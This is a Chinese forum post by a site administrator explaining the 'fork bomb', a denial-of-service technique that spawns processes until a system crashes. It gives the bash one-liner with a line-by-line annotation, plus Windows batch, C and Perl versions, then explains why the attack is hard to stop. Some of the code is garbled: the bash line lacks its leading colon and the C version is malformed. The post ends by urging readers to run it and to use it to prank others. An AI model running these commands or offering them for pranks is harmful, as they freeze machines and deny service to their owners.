设为首页收藏本站 今天是: 2020-06-07    美好的一天,从现在开始

资源社

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 220|回复: 0

一条命令弄瘫电脑/VPS服务器的Fork炸弹

[复制链接]

423

主题

425

帖子

10907

积分
等级头衔
UID : 1
管理员

积分信息
缘币:7185 枚
:点
钻石:11 元
在线时长:225 小时
注册时间
2019-12-19

最后登录
2020-6-6

我的勋章

发表于 2020-1-4 23:00:30 | 显示全部楼层 |阅读模式
这个坑爹大炸弹叫”Fork bomb”,2002年由Jaromil设计,通过不断fork出新的进程,一生二,二生四,四生八…然后指数爆炸,迅速耗光电脑资源。(就和细菌繁殖差不多…)进程递归式派生(fork,亦即自我复制),以使系统拒绝服务甚至崩溃。



命令如下:

                    ){ :|:& };:





具体命令 ,如上,或许你觉得好简单,但是实际运行的话,呵呵呵呵…用自己电脑开Linux运行,结果…笔记本…然后我拔掉了电池…你可是试一下哈~~
以下程序段就是由Jaromil所作的在类UNIX系统的shell环境下触发fork炸弹的shell脚本代码,总共只用了13个字符(包括空格):
){ :|:& };:

注解如下:
) # 定义函数,函数名为":",即每当输入":"时就会自动调用{}内代码
{ # ":"函数开始标识
: # 用递归方式调用":"函数本身
| # 并用管道(pipe)将其输出引至...
: # 另一次递归调用的":"函数
# 综上,":|:"表示的即是每次调用函数":"的时候就会生成两份拷贝
& # 调用间脱钩,以使最初的":"函数被杀死后为其所调用的两个":"函数还能继续执行
} # ":"函数结束标识
; # ":"函数定义结束后将要进行的操作...
: # 调用":"函数,"引爆"fork炸弹
其中函数名“:”只是简化的一例,实际实现时可以随意设定,一个较易理解(将函数名替换为“forkbomb”)的版本如下:
forkbomb(){ forkbomb|forkbomb &} ; forkbomb

Windows下则可以批处理命令如下实现:
%0|%0
POSIX标准下的C与C++的实现:
#include int main(){while(1) fork();return0;}
Perl语言的实现:
fork while fork





在系统中成功“引爆”fork炸弹后,我们可重启来使系统恢复正常运行;

而若要以手动的方法使fork炸弹“熄火”,那前提就是必须杀死fork炸弹产生的所有进程。

为此我们可以考虑使用程序来杀死fork炸弹产生的进程,但由于这一般需要创建新进程,且由于fork炸弹一直在探测与占用进程槽与内存空间,因而这一方法几乎不可能实现,而且用kill命令杀死进程后,释放出的进程槽又会被余下的fork炸弹线程所产生的新进程占用,在Windows下,用户可以退出当前用户会话的方式使系统恢复正常,但此法奏效的前提是fork炸弹是在该用户的特定会话内触发的。


所以,如果觉得自己家电脑不爽,或者要坑坑人,那么fork炸弹就是首选咯~

帖子地址: 

郁闷ớ ₃ờ啥时候能回家啊
懒得打字嘛,点击右侧快捷回复 【右侧内容,后台自定义】
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|Meow family ( 鲁ICP备20002296号-1 )|网站地图

本站已运行[ ]

GMT+8, 2020-6-7 07:08 , Processed in 0.190562 second(s), 38 queries .

Meow family

资源社论坛 X3.4

Family© 2020, history prestige

快速回复 返回顶部 返回列表